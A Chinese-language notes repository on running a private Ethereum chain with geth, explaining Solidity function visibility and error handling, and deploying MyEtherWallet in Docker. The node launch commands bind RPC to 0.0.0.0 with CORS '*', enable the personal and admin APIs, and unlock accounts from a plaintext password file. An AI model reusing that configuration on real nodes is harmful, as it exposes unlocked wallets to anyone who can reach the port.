56 | - 初始化 genesis.json, 采用POW进行挖矿
57 | ```bash
58 | prod@ubuntu:~/ethereum/node-test$ puppeth
59 | +-----------------------------------------------------------+
60 | | Welcome to puppeth, your Ethereum private network manager |
61 | | |
62 | | This tool lets you create a new Ethereum network down to |
63 | | the genesis block, bootnodes, miners and ethstats servers |
64 | | without the hassle that it would normally entail. |
65 | | |
66 | | Puppeth uses SSH to dial in to remote servers, and builds |
67 | | its network components out of Docker containers using the |
68 | | docker-compose toolset. |
69 | +-----------------------------------------------------------+
70 |
71 | Please specify a network name to administer (no spaces or hyphens, please)
72 | > borey
73 |
74 | Sweet, you can set this via --network=borey next time!
75 |
76 | INFO [06-11|14:57:17] Administering Ethereum network name=borey
77 | WARN [06-11|14:57:17] No previous configurations found path=/home/prod/.puppeth/borey
78 |
79 | What would you like to do? (default = stats)
80 | 1. Show network stats
81 | 2. Configure new genesis
82 | 3. Track new remote server
83 | 4. Deploy network components
84 | > 2
85 |
86 | Which consensus engine to use? (default = clique)
87 | 1. Ethash - proof-of-work
88 | 2. Clique - proof-of-authority
89 | > 1
90 |
91 | Which accounts should be pre-funded? (advisable at least one)
92 | > 0xfbade207f880faf479f1e76b55efcdeeb303c461
93 | > 0x
94 |
95 | Specify your chain/network ID if you want an explicit one (default = random)
96 | > 1024
97 | INFO [06-11|14:57:47] Configured new genesis block
98 |
99 | What would you like to do? (default = stats)
100 | 1. Show network stats
101 | 2. Manage existing genesis
102 | 3. Track new remote server
103 | 4. Deploy network components
104 | > 2
105 |
106 | 1. Modify existing fork rules
107 | 2. Export genesis configuration
108 | 3. Remove genesis configuration
109 | > 2
110 |
111 | Which file to save the genesis into? (default = borey.json)
112 | > genesis.json
113 | INFO [06-11|14:58:17] Exported existing genesis block
114 |
115 | What would you like to do? (default = stats)
116 | 1. Show network stats
117 | 2. Manage existing genesis
118 | 3. Track new remote server
119 | 4. Deploy network components
120 | > ^C
121 |
122 | ```
123 |
124 | - 私链初始化
125 | ```bash
126 | prod@ubuntu:~/ethereum/node-test$ geth --datadir node/ init genesis.json
127 | INFO [06-11|15:00:13] Maximum peer count ETH=25 LES=0 total=25
128 | INFO [06-11|15:00:13] Allocated cache and file handles database=/home/prod/ethereum/node-test/node/geth/chaindata cache=16 handles=16
129 | INFO [06-11|15:00:13] Writing custom genesis block
130 | INFO [06-11|15:00:13] Persisted trie from memory database nodes=355 size=65.27kB time=809.462µs gcnodes=0 gcsize=0.00B gctime=0s livenodes=1 livesize=0.00B
131 | INFO [06-11|15:00:13] Successfully wrote genesis state database=chaindata hash=263108…b658f4
132 | INFO [06-11|15:00:13] Allocated cache and file handles database=/home/prod/ethereum/node-test/node/geth/lightchaindata cache=16 handles=16
133 | INFO [06-11|15:00:13] Writing custom genesis block
134 | INFO [06-11|15:00:13] Persisted trie from memory database nodes=355 size=65.27kB time=866.522µs gcnodes=0 gcsize=0.00B gctime=0s livenodes=1 livesize=0.00B
135 | INFO [06-11|15:00:13] Successfully wrote genesis state database=lightchaindata hash=263108…b658f4
136 | prod@ubuntu:~/ethereum/node-test$
137 |
138 | ```
139 |
140 | - 运行私链
141 | ```bash
142 | geth --identity "borey" --ethash.dagsinmem 0 --rpc --rpcport "8545" --rpcaddr "0.0.0.0" --datadir node --port "30303" --rpccorsdomain "*" --rpcapi "personal,db,eth,net,web3,admin,txpool,miner" --networkid 1024 --nodiscover
143 | ```
144 |
145 | - 连接服务通过ipc
146 | ```bash
147 | prod@ubuntu:~/ethereum/node-test$ geth attach node/geth.ipc
148 | Welcome to the Geth JavaScript console!
149 |
150 | instance: Geth/borey/v1.8.9-stable-ff9b1461/linux-amd64/go1.10.1
151 | coinbase: 0xfbade207f880faf479f1e76b55efcdeeb303c461
152 | at block: 0 (Mon, 11 Jun 2018 14:57:24 CST)
153 | datadir: /home/prod/ethereum/node-test/node
154 | modules: admin:1.0 debug:1.0 eth:1.0 miner:1.0 net:1.0 personal:1.0 rpc:1.0 txpool:1.0 web3:1.0
155 |
156 | # 查看 node coinbase
157 | > eth.coinbase
158 | "0xfbade207f880faf479f1e76b55efcdeeb303c461"
159 | # 查询 coinbase 余额
160 | > web3.fromWei(eth.getBalance(eth.coinbase), 'ether')
161 | 9.04625697166532776746648320380374280103671755200316906558262375061821325312e+56
162 |
163 | # 查看nodeinfo, 通过admin.addPeer用来添加节点, 注意:修改[::] 为ip地址
164 | > admin.nodeInfo.enode
165 | "enode://e45dc30d829a66d8af0eb8279d08645e0276e9f126a5f8bfb60fb16bb7c73692322a9655394f45513e0f418ce80a06072b3eb63c9a34024d1a38e496b0936fd7@[::]:30303?discport=0"
166 | # 挖矿 开始记账
167 | > miner.start()
168 | ```
169 |
170 |
171 | ## Ethereum私链部署(POA)
172 | - 初始化账户
173 | ```bash
174 | # 创建 node1 的 coinbase 钱包
175 | prod@ubuntu:~/ethereum/poa$ geth --datadir nodes/node1 account new
176 | INFO [06-13|15:25:14] Maximum peer count ETH=25 LES=0 total=25
177 | Your new account is locked with a password. Please give a password. Do not forget this password.
178 | Passphrase:
179 | Repeat passphrase:
180 | Address: {5dab1b9d9da91d77c3b130785c1117507e252412}
181 |
182 | # 创建 node2 的 coinbase 钱包
183 | prod@ubuntu:~/ethereum/poa$ geth --datadir nodes/node2 account new
184 | INFO [06-13|15:25:39] Maximum peer count ETH=25 LES=0 total=25
185 | Your new account is locked with a password. Please give a password. Do not forget this password.
186 | Passphrase:
187 | Repeat passphrase:
188 | Address: {e1ace7e1a98ab69abdd45f58aa2ed0899f7fe236}
189 |
190 | ```
191 |
192 | - 初始化 genesis.json, 采用POA进行挖矿
193 | ```bash
194 | prod@ubuntu:~/ethereum/poa$ puppeth
195 | +-----------------------------------------------------------+
196 | | Welcome to puppeth, your Ethereum private network manager |
197 | | |
198 | | This tool lets you create a new Ethereum network down to |
199 | | the genesis block, bootnodes, miners and ethstats servers |
200 | | without the hassle that it would normally entail. |
201 | | |
202 | | Puppeth uses SSH to dial in to remote servers, and builds |
203 | | its network components out of Docker containers using the |
204 | | docker-compose toolset. |
205 | +-----------------------------------------------------------+
206 |
207 | Please specify a network name to administer (no spaces or hyphens, please)
208 | > poaNet
209 |
210 | Sweet, you can set this via --network=poaNet next time!
211 |
212 | INFO [06-13|15:27:46] Administering Ethereum network name=poaNet
213 | WARN [06-13|15:27:46] No previous configurations found path=/home/prod/.puppeth/poaNet
214 |
215 | What would you like to do? (default = stats)
216 | 1. Show network stats
217 | 2. Configure new genesis
218 | 3. Track new remote server
219 | 4. Deploy network components
220 | > 2
221 |
222 | # 共识机制选择 POA
223 | Which consensus engine to use? (default = clique)
224 | 1. Ethash - proof-of-work
225 | 2. Clique - proof-of-authority
226 | > 2
227 |
228 | # 配置出块时间间隔
229 | How many seconds should blocks take? (default = 15)
230 | > 5
231 |
232 | # 配置初始化权限账户
233 | Which accounts are allowed to seal? (mandatory at least one)
234 | > 0x5dab1b9d9da91d77c3b130785c1117507e252412
235 | > 0x
236 |
237 | # 初始化钱包
238 | Which accounts should be pre-funded? (advisable at least one)
239 | > 0x5dab1b9d9da91d77c3b130785c1117507e252412
240 | > 0x
241 |
242 | Specify your chain/network ID if you want an explicit one (default = random)
243 | > 1034
244 | INFO [06-13|15:28:46] Configured new genesis block
245 |
246 | What would you like to do? (default = stats)
247 | 1. Show network stats
248 | 2. Manage existing genesis
249 | 3. Track new remote server
250 | 4. Deploy network components
251 | > 2
252 |
253 | 1. Modify existing fork rules
254 | 2. Export genesis configuration
255 | 3. Remove genesis configuration
256 | > 2
257 |
258 | Which file to save the genesis into? (default = poaNet.json)
259 | > genesis_poa_net.json
260 | INFO [06-13|15:29:22] Exported existing genesis block
261 |
262 | What would you like to do? (default = stats)
263 | 1. Show network stats
264 | 2. Manage existing genesis
265 | 3. Track new remote server
266 | 4. Deploy network components
267 | > ^C
268 | prod@ubuntu:~/ethereum/poa$ ls
269 | genesis_poa_net.json nodes
270 |
271 | ```
272 |
273 | - 初始化节点
274 | ```bash
275 | prod@ubuntu:~/ethereum/poa$ geth --datadir nodes/node1 init genesis_poa_net.json
276 | INFO [06-13|15:44:43] Maximum peer count ETH=25 LES=0 total=25
277 | INFO [06-13|15:44:43] Allocated cache and file handles database=/home/prod/ethereum/poa/nodes/node1/geth/chaindata cache=16 handles=16
278 | INFO [06-13|15:44:43] Writing custom genesis block
279 | INFO [06-13|15:44:43] Persisted trie from memory database nodes=355 size=65.27kB time=1.55262ms gcnodes=0 gcsize=0.00B gctime=0s livenodes=1 livesize=0.00B
280 | INFO [06-13|15:44:43] Successfully wrote genesis state database=chaindata hash=29ea83…bf0671
281 | INFO [06-13|15:44:43] Allocated cache and file handles database=/home/prod/ethereum/poa/nodes/node1/geth/lightchaindata cache=16 handles=16
282 | INFO [06-13|15:44:43] Writing custom genesis block
283 | INFO [06-13|15:44:43] Persisted trie from memory database nodes=355 size=65.27kB time=769.432µs gcnodes=0 gcsize=0.00B gctime=0s livenodes=1 livesize=0.00B
284 | INFO [06-13|15:44:43] Successfully wrote genesis state database=lightchaindata hash=29ea83…bf0671
285 | prod@ubuntu:~/ethereum/poa$ geth --datadir nodes/node2 init genesis_poa_net.json
286 | INFO [06-13|15:44:49] Maximum peer count ETH=25 LES=0 total=25
287 | INFO [06-13|15:44:49] Allocated cache and file handles database=/home/prod/ethereum/poa/nodes/node2/geth/chaindata cache=16 handles=16
288 | INFO [06-13|15:44:49] Writing custom genesis block
289 | INFO [06-13|15:44:49] Persisted trie from memory database nodes=355 size=65.27kB time=871.627µs gcnodes=0 gcsize=0.00B gctime=0s livenodes=1 livesize=0.00B
290 | INFO [06-13|15:44:49] Successfully wrote genesis state database=chaindata hash=29ea83…bf0671
291 | INFO [06-13|15:44:49] Allocated cache and file handles database=/home/prod/ethereum/poa/nodes/node2/geth/lightchaindata cache=16 handles=16
292 | INFO [06-13|15:44:49] Writing custom genesis block
293 | INFO [06-13|15:44:49] Persisted trie from memory database nodes=355 size=65.27kB time=831.795µs gcnodes=0 gcsize=0.00B gctime=0s livenodes=1 livesize=0.00B
294 | INFO [06-13|15:44:49] Successfully wrote genesis state database=lightchaindata hash=29ea83…bf0671
295 | ```
296 | - 创建bootnode, 用于节点之间的发现
297 | ```bash
298 | # 初始化
299 | prod@ubuntu:~/ethereum/poa/nodes$ mkdir bootnode
300 | prod@ubuntu:~/ethereum/poa/nodes$ bootnode -genkey bootnode/boot.key
301 |
302 | # 运行bootnode
303 | prod@ubuntu:~/ethereum/poa/nodes$ bootnode -nodekey bootnode/boot.key -addr :30310
304 | INFO [06-13|18:07:11] UDP listener up self=enode://8ea516886bfaa84dae6fec94c6eb4d9babbe4a986a5d21e3e089b1ec6be1ad704281a9c6f51fd1bfaaa611de9228c37f9e945ffe3a49e6ffbc055e55d16373d6@[::]:30310
305 | ```
306 |
307 | - 运行私链
308 | ```bash
309 | echo "wallet password" > nodes/node1/password
310 | # node1 bootstrap 并进行挖矿
311 | geth --syncmode 'full' \
312 | --rpc --rpcport "8541" --rpcaddr "0.0.0.0" \
313 | --datadir nodes/node1 --port "30301" --rpccorsdomain "*" \
314 | --rpcapi "personal,db,eth,net,web3,admin,txpool,miner,clique" \
315 | --networkid 1034 \
316 | --unlock 0x5dab1b9d9da91d77c3b130785c1117507e252412 \
317 | --password nodes/node1/password \
318 | --bootnodes enode://8ea516886bfaa84dae6fec94c6eb4d9babbe4a986a5d21e3e089b1ec6be1ad704281a9c6f51fd1bfaaa611de9228c37f9e945ffe3a49e6ffbc055e55d16373d6@127.0.0.1:30310 \
319 | --mine
320 | ```
321 | node1 节点 log:
322 | 
323 |
324 | - 添加节点
325 | - 登录node1 console , 添加 node2 对应的 coinbase
326 | ```bash
327 | prod@ubuntu:~/ethereum/poa$ geth attach nodes/node1/geth.ipc
328 | Welcome to the Geth JavaScript console!
329 |
330 | instance: Geth/v1.8.10-stable/linux-amd64/go1.10.2
331 | coinbase: 0x5dab1b9d9da91d77c3b130785c1117507e252412
332 | at block: 53 (Wed, 13 Jun 2018 18:27:36 CST)
333 | datadir: /home/prod/ethereum/poa/nodes/node1
334 | modules: admin:1.0 clique:1.0 debug:1.0 eth:1.0 miner:1.0 net:1.0 personal:1.0 rpc:1.0 txpool:1.0 web3:1.0
335 |
336 | # 添加 signer 地址
337 | > clique.propose("0xe1ACe7e1a98AB69aBDd45F58aa2eD0899f7fe236", true)
338 | null
339 | ```
340 |
341 | - 启动 node2 节点
342 | ```bash
343 | echo "wallet password" > nodes/node2/password
344 | # node2 bootstrap
345 | geth --syncmode 'full' \
346 | --rpc --rpcport "8542" --rpcaddr "0.0.0.0" \
347 | --datadir nodes/node2 --port "30302" --rpccorsdomain "*" \
348 | --rpcapi "personal,db,eth,net,web3,admin,txpool,miner,clique" \
349 | --networkid 1034 \
350 | --unlock 0xe1ACe7e1a98AB69aBDd45F58aa2eD0899f7fe236 \
351 | --password nodes/node2/password \
352 | --bootnodes enode://8ea516886bfaa84dae6fec94c6eb4d9babbe4a986a5d21e3e089b1ec6be1ad704281a9c6f51fd1bfaaa611de9228c37f9e945ffe3a49e6ffbc055e55d16373d6@127.0.0.1:30310 \
353 | --mine
354 | ```
355 | node2 log:
356 | 
357 |
358 | - 依次类推进行添加 node 3 .. n
359 |
--------------------------------------------------------------------------------
/notes/summary/images/assert.test.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zhuquanbin/solidity-note/a986d269c08149f7ad303758623634aa96197c94/notes/summary/images/assert.test.png
--------------------------------------------------------------------------------
/notes/summary/images/myetherwallet.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zhuquanbin/solidity-note/a986d269c08149f7ad303758623634aa96197c94/notes/summary/images/myetherwallet.png
--------------------------------------------------------------------------------
/notes/summary/images/poa.n1.t1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zhuquanbin/solidity-note/a986d269c08149f7ad303758623634aa96197c94/notes/summary/images/poa.n1.t1.png
--------------------------------------------------------------------------------
/notes/summary/images/poa.n2.t1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zhuquanbin/solidity-note/a986d269c08149f7ad303758623634aa96197c94/notes/summary/images/poa.n2.t1.png
--------------------------------------------------------------------------------
/notes/summary/images/public.external.sum1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zhuquanbin/solidity-note/a986d269c08149f7ad303758623634aa96197c94/notes/summary/images/public.external.sum1.png
--------------------------------------------------------------------------------
/notes/summary/images/public.external.sum2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zhuquanbin/solidity-note/a986d269c08149f7ad303758623634aa96197c94/notes/summary/images/public.external.sum2.png
--------------------------------------------------------------------------------
/notes/summary/images/public.external.test1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zhuquanbin/solidity-note/a986d269c08149f7ad303758623634aa96197c94/notes/summary/images/public.external.test1.png
--------------------------------------------------------------------------------
/notes/summary/images/public.external.test2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zhuquanbin/solidity-note/a986d269c08149f7ad303758623634aa96197c94/notes/summary/images/public.external.test2.png
--------------------------------------------------------------------------------
/notes/summary/images/require.test.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zhuquanbin/solidity-note/a986d269c08149f7ad303758623634aa96197c94/notes/summary/images/require.test.png
--------------------------------------------------------------------------------
/notes/summary/knowledge.md:
--------------------------------------------------------------------------------
1 | # 目录
2 | * [basics](#basics)
3 | * [solidity functions and variables](#solidity-functions-and-variables)
4 | * [different between public and external](#different-between-public-and-external)
5 | * [different between prue and view](#different-between-prue-and-view)
6 | * [different between require and assert](#different-between-require-and-assert)
7 | * [send ether from contract to another contract](#send-ether-from-contract-to-another-contract)
8 | * [modifer function with parameters](#modifer-function-with-parameters)
9 |
10 |
11 | # 总结
12 |
13 | ## basics
14 |
15 | - [【官网】数据类型](https://solidity.readthedocs.io/en/latest/types.html)
16 | - [【官网】全局有效变量及内置函数](https://solidity.readthedocs.io/en/latest/units-and-global-variables.html)
17 | - [【官网】表达式和控制结构](https://solidity.readthedocs.io/en/latest/control-structures.html)
18 | - [【官网】智能合约](https://solidity.readthedocs.io/en/latest/contracts.html)
19 | - [【官网】函数](https://solidity.readthedocs.io/en/latest/contracts.html#functions)
20 | - [【官网】Modifier](https://solidity.readthedocs.io/en/latest/contracts.html#function-modifiers): 类似于Python中的装饰器
21 | - [【官网】继承](https://solidity.readthedocs.io/en/latest/contracts.html#inheritance)
22 | - [【官网】抽象](https://solidity.readthedocs.io/en/latest/contracts.html#abstract-contracts)
23 | - [【官网】接口](https://solidity.readthedocs.io/en/latest/contracts.html#interfaces): 类似于Java、Go 中的 Interface;
24 | - [【官网】函数库、using for](https://solidity.readthedocs.io/en/latest/contracts.html#libraries): 类似Scala中的隐式转换,为类型或结构体添加成员函数 ;
25 |
26 | ## solidity functions and variables
27 | 官方原文:
28 |
29 | Since Solidity knows two kinds of function calls (internal ones that do not create an actual EVM call (also called a “message call”) and external ones that do), there are four types of visibilities for functions and state variables.
30 | Functions can be specified as being external, public, internal or private, where the default is public. For state variables, external is not possible and the default is internal.
31 |
32 | external:
33 | External functions are part of the contract interface, which means they can be called from other contracts and via transactions. An external function f cannot be called internally (i.e. f() does not work, but this.f() works). External functions are sometimes more efficient when they receive large arrays of data.
34 |
35 | public:
36 | Public functions are part of the contract interface and can be either called internally or via messages. For public state variables, an automatic getter function (see below) is generated.
37 |
38 | internal:
39 | Those functions and state variables can only be accessed internally (i.e. from within the current contract or contracts deriving from it), without using this.
40 |
41 | private:
42 | Private functions and state variables are only visible for the contract they are defined in and not in derived contracts.
43 |
44 | 概述:
45 |
46 | Solidity 有两种函数形式调用:
47 | 1) 内部调用(internal), `不创建EVM的调用也被称为消息调用`;
48 | 2) 外部调用(external), 言外之意就是需要创建实际的EVM进行调用;
49 |
50 | Solidity 函数和变量:
51 | 1) 函数可声明为有四种类型:external, public, internal or private;
52 | 2) 变量可声明为有三种类型:public, internal or private;
53 | 3) 函数默认为 `public`;
54 | 4) 变量默认为 `internal`;
55 |
56 | external:
57 | 1) 智能合约对外部的接口函数可以定义为 external 类型, `在接收大数组时更高效(如何高效? 下面章节详细描述)`;
58 | 2) 定义为该类型的函数,在智能合约中不能直接调用,需要通过 `this.` 调用;
59 |
60 | public:
61 | 1) 智能合约对外部的接口函数也可以定义为 public 类型, 也可以在该智能合约中进行内部调用(消息调用);
62 | 2) 变量声明为public时, solidity会对该变量生成一个getter方法; 例如: 定义 了变量 data, 可用过contract instance 进行方法 .data() 调用;
63 |
64 | internal:
65 | 1) 该类型声明的方法或变量,只能在合约内或在子合约中进行访问, 不需要使用 `this`;
66 |
67 | private:
68 | 1) 该类型声明的方法或变量,只能在该合约访问, 子合约无权访问;
69 |
70 |
71 | ## Different between public and external
72 | ### Summary
73 | 1) public 和 external 都可以提供给内部和外部使用;
74 | 2) external 在传递大数组时效率更高,消耗的gas较少
75 | - public 属于内部调用, 内部调用通过代码中的跳转执行,数组参数通过指向内存的指针在内部传递,因此当编译器为内部函数生成代码时,该函数期望其参数位于内存中, 所以需要拷贝所有参数到内存中;
76 | - external 属于外部调用, 允许函数直接读取参数通过 `calldata` 方法, 省去了内存复制操作;
77 | 3) public 在合约内部使用更高效, 因为 external 函数需要构建EVM进行CALL指令代价昂贵;
78 |
79 | ### 数据传输测试
80 | ```solidity
81 | pragma solidity ^0.4.24;
82 |
83 | contract Test {
84 |
85 | function sum1(uint256[] data) public pure {
86 | require(data[1] > 0);
87 | }
88 |
89 | function sum2(uint256[] data) external pure {
90 | require(data[1] > 0);
91 | }
92 | }
93 | ```
94 | Result: public 函数调用消耗了465 gas
95 | 
96 |
97 | Result: external 函数调用消耗了337 gas
98 | 
99 |
100 |
101 | ### 合约内部调用public 和 external 测试
102 | ```solidity
103 | pragma solidity ^0.4.24;
104 |
105 | contract Test {
106 | function test1() public view {
107 | require(show1() == 256);
108 | }
109 |
110 | function test2() public view {
111 | require(this.show2() == 256);
112 | }
113 |
114 | function show1() public pure returns (uint256){
115 | return uint256(256);
116 | }
117 |
118 | function show2() external pure returns (uint256){
119 | return uint256(256);
120 | }
121 | }
122 | ```
123 | Result: public 函数调用消耗了219 gas
124 | 
125 |
126 | Result: external 函数调用消耗了2024 gas
127 | 
128 |
129 | ## Different between prue and view
130 | `prue` 和 `view` 是由常量`constant` 改进后新的修饰符, [github issue](https://github.com/ethereum/solidity/issues/992) 中进行了相关描述。
131 |
132 | ### 官方文档
133 | - View Functions
134 |
135 | Functions can be declared view in which case they promise not to modify the state.
136 |
137 | The following statements are considered modifying the state:
138 | - Writing to state variables.
139 | - Emitting events.
140 | - Creating other contracts.
141 | - Using selfdestruct.
142 | - Sending Ether via calls.
143 | - Calling any function not marked view or pure.
144 | - Using low-level calls.
145 | - Using inline assembly that contains certain opcodes.
146 |
147 | Warning: The compiler does not enforce yet that a view method is not modifying state. It raises a warning though.
148 |
149 | - Pure Functions
150 |
151 | Functions can be declared pure in which case they promise not to read from or modify the state.
152 |
153 | In addition to the list of state modifying statements explained above, the following are considered reading from the state:
154 | - Reading from state variables.
155 | - Accessing this.balance or .balance.
156 | - Accessing any of the members of block, tx, msg (with the exception of msg.sig and msg.data).
157 | - Calling any function not marked pure.
158 | - Using inline assembly that contains certain opcodes.
159 |
160 | Warning: It is not possible to prevent functions from reading the state at the level of the EVM, it is only possible to prevent them from writing to the state (i.e. only view can be enforced at the EVM level, pure can not).
161 |
162 | Warning: Before version 0.4.17 the compiler didn’t enforce that pure is not reading the state.
163 |
164 | ### summary
165 | 1) `view`修饰的函数 promise 不修改合约状态,意味着不能使用 `SSTORE`,不能发送或接收Ether,只能调用其他 view 方法或纯函数。
166 | 2) `pure`修饰的函数 相对 `view`修饰的函数 额外地 promise 不能读取合约状态, 意味着不能使用 `SSTORE`、`SLOAD` , 不能发送或接收Ether, 不能使用全局变量 `msg`、`block`等, 只能调用其他 pure 方法。
167 | 3) `BUT` 编译器不会强制 `view` 函数不能修改状态,只会进行Warning警告!
168 | 4) `BUT` 编译器不会强制 `prue` 函数不能读取状态,只会进行Warning警告!
169 |
170 | ## Different between require and assert
171 | ### 官方文档
172 | [Error handling: Assert, Require, Revert and Exceptions](https://solidity.readthedocs.io/en/develop/control-structures.html#error-handling-assert-require-revert-and-exceptions)
173 |
174 | Internally, Solidity performs a revert operation (instruction 0xfd) for a require-style exception and executes an invalid operation (instruction 0xfe) to throw an assert-style exception. In both cases, this causes the EVM to revert all changes made to the state. The reason for reverting is that there is no safe way to continue execution, because an expected effect did not occur. Because we want to retain the atomicity of transactions, the safest thing to do is to revert all changes and make the whole transaction (or at least call) without effect. Note that assert-style exceptions consume all gas available to the call, while require-style exceptions will not consume any gas starting from the Metropolis release.
175 |
176 | ### Summary
177 | 1. solidity使用state-reverting异常来处理错误,自动恢复此次call修改的状态;
178 | 2. require 通常用于检测确定的条件(如 input 或 contract state variables),或验证调用其他contract函数的返回值, 会经常使用;
179 | 3. assert 通常用来测试内部调用错误,或特殊的约束条件, 尽量通过代码层避免;
180 | 4. require(指令 [0xfd](https://github.com/ethereum/solidity/blob/v0.4.24/libevmasm/Instruction.h#L198))
181 | 是 `REVERT opcode` ,意味着会退还剩余的GAS;
182 | 5. assert(指令 [0xfe](https://github.com/ethereum/solidity/blob/v0.4.24/libevmasm/Instruction.h#L199)) 是 `INVALID opcode`, 将使用完该次调用所需要的GAS;
183 |
184 | ### Gas消耗测试
185 | ```solidity
186 | pragma solidity ^0.4.24;
187 |
188 | contract Test {
189 | function test1(uint256 v) public view {
190 | require(v == 256);
191 | }
192 | function test2(uint256 v) public view {
193 | assert(v == 256);
194 | }
195 | }
196 | ```
197 |
198 | require 抛出的VM Error 为 Revert, 消耗了 214 GAS;
199 | 
200 |
201 | assert 抛出的VM Error 为 Invalid, 消耗了 2978536 GAS;
202 | 
203 |
204 |
205 | ## Send ether from contract to another contract
206 |
207 |
208 | ## Modifer function with parameters
209 |
210 |
211 |
--------------------------------------------------------------------------------
/notes/summary/myetherwallet.md:
--------------------------------------------------------------------------------
1 | # Docker 部署 MyEtherWallet
2 |
3 | - download
4 |
5 | 下载最新版本的etherwallet https://github.com/kvhnuke/etherwallet/releases
6 |
7 | - Write Dockerfile
8 | ```docker
9 | FROM nginx
10 | WORKDIR /etherwallet
11 |
12 | ADD dist /usr/share/nginx/html
13 | RUN echo "server {\
14 | listen 80; \
15 | server_name localhost; \
16 | location / { \
17 | root /usr/share/nginx/html; \
18 | index index.html index.htm; \
19 | }\
20 | error_page 500 502 503 504 /50x.html;\
21 | location = /50x.html {\
22 | root /usr/share/nginx/html;\
23 | }\
24 | }" > /etc/nginx/conf.d/wallet.conf
25 |
26 | EXPOSE 80
27 |
28 | CMD ["nginx", "-g", "daemon off;"]
29 | ```
30 | - tree directory
31 | ```bash
32 | prod@ubuntu:~/ethereum$ tree -L 2 etherwallet-v3.21.12
33 | etherwallet-v3.21.12
34 | ├── dist
35 | │ ├── bin
36 | │ ├── contest.html
37 | │ ├── css
38 | │ ├── embedded.html
39 | │ ├── fonts
40 | │ ├── helpers.html
41 | │ ├── images
42 | │ ├── index.html
43 | │ ├── js
44 | │ ├── package.json
45 | │ ├── phishing.html
46 | │ ├── README.md
47 | │ └── signmsg.html
48 | └── Dockerfile
49 |
50 | 6 directories, 9 files
51 |
52 | ```
53 |
54 | - docker compile && run
55 | ```bash
56 | # 编译
57 | docker build -t etherwallet:latest .
58 |
59 | # 部署
60 | docker run -d --name etherwallet -p 0.0.0.0:80:80 etherwallet:latest
61 | ```
62 |
63 | - Add Custom Network
64 |
65 | 按照下图 1、2、3、4 步骤填写私链信息保存:
66 | 
67 |
68 | - notice
69 |
70 | 当使用`ssl`时,无法连接本地geth节点
71 |
72 |
--------------------------------------------------------------------------------
/notes/summary/poa.md:
--------------------------------------------------------------------------------
1 | ## POA (proof-of-authority)
2 |
3 | 允许授权节点(signers)对区块进行签名挖矿, 通过控制节点难度系数进行延迟出块, 来确保难度系数最低的优先出块并进行广播。
4 |
5 | - 难度系数计算通过满足 (block_number % signers) == (index of signers) 条件的signer标记为diffInTurn, 其余的signer标记为diffNoTurn;以此来设置延迟时长;
6 | - [calc Difficulty 源码](https://github.com/ethereum/go-ethereum/blob/master/consensus/clique/clique.go#L669)
7 | - [diffInTurn 源码](https://github.com/ethereum/go-ethereum/blob/master/consensus/clique/snapshot.go#L304)
8 |
9 |
10 | - 共识机制保证同一个signer只能签名 连续 (SIGNER_COUNT / 2) + 1) blocks 中的一个block;
11 | - [保证算法 源码](https://github.com/ethereum/go-ethereum/blob/master/consensus/clique/clique.go#L619)
12 |
13 |
14 | 简言之: 对signers进行轮询出块;
15 |
16 | ### 特点
17 | - PoA是依靠预设好的授权节点(signers),负责产生block;
18 | - 可以由已授权的signer选举(投票超过50%)加入新的signer;
19 | - 即使存在恶意signer, 他最多只能攻击连续块(数量是 (SIGNER_COUNT / 2) + 1) 中的1个, 期间可以由其他signer投票踢出该恶意signer;
20 | - 可指定产生block的时间;
21 |
22 |
23 | ### POA 工作流程
24 | 1. 在创世块中指定一组初始授权的signers, 所有地址 保存在创世块Extra字段中;
25 |
26 | 2. 启动挖矿后, 该组signers开始对生成的block 进行签名并广播;
27 |
28 | 3. 签名结果 保存在区块头的Extra字段中;
29 |
30 | 4. Extra中更新当前高度已授权的所有signers的地址 ,因为有新加入或踢出的signer;
31 |
32 | 5. 每一高度都有一个signer处于IN-TURN状态, 其他signer处于OUT-OF-TURN状态, IN-TURN的signer签名的block会 立即广播 , OUT-OF-TURN的signer签名的block会 延时 一点随机时间后再广播, 保证IN-TURN的签名block有更高的优先级上链;
33 |
34 | 6. 如果需要加入一个新的signer, signer通过API接口发起一个proposal, 该proposal通过复用区块头 Coinbase(新signer地址)和Nonce("0xffffffffffffffff") 字段广播给其他节点. 所有已授权的signers对该新的signer进行"加入"投票, 如果赞成票超过signers总数的50%, 表示同意加入;
35 |
36 | 7. 如果需要踢出一个旧的signer, 所有已授权的signers对该旧的signer进行"踢出"投票, 如果赞成票超过signers总数的50%, 表示同意踢出;
37 |
38 |
39 | ## Resources
40 | - [Clique PoA protocol & Rinkeby PoA testnet #EIP-225](https://github.com/ethereum/EIPs/issues/225) (中译 [链接](https://github.com/ZtesoftCS/go-ethereum-code-analysis/blob/master/%E4%BB%A5%E5%A4%AA%E5%9D%8A%E6%B5%8B%E8%AF%95%E7%BD%91%E7%BB%9CClique_PoA%E4%BB%8B%E7%BB%8D.md))
41 |
42 | - [简书: 以太坊PoA共识引擎算法介绍](https://www.jianshu.com/p/9025a523ab0f)
43 |
44 | - [Medium: 使用 go-ethereum 1.6 Clique PoA consensus 建立 Private chain](https://medium.com/taipei-ethereum-meetup/%E4%BD%BF%E7%94%A8-go-ethereum-1-6-clique-poa-consensus-%E5%BB%BA%E7%AB%8B-private-chain-1-4d359f28feff)
45 |
46 | - [What is the safest minimum block time to use without having any problem on Proof-of-Authority consensus?](https://ethereum.stackexchange.com/questions/37985/what-is-the-safest-minimum-block-time-to-use-without-having-any-problem-on-proof)
--------------------------------------------------------------------------------
/notes/summary/supervisor.md:
--------------------------------------------------------------------------------
1 | # Supervisord 配置
2 | - install
3 | ```bash
4 | prod@ubuntu:~$ sudo pip install supervisord
5 | ```
6 |
7 | - configure
8 | ```bash
9 | # 创建配置文件路径
10 | prod@ubuntu:~$ mkdir -p /etc/supervisor/conf.d/
11 |
12 | # 添加 supervisord 的配置文件
13 | prod@ubuntu:~$ sudo cat /etc/supervisor/supervisord.conf
14 | ; supervisor config file
15 |
16 | [unix_http_server]
17 | file=/var/run/supervisor.sock ; (the path to the socket file)
18 | chmod=0700 ; sockef file mode (default 0700)
19 |
20 | [inet_http_server]
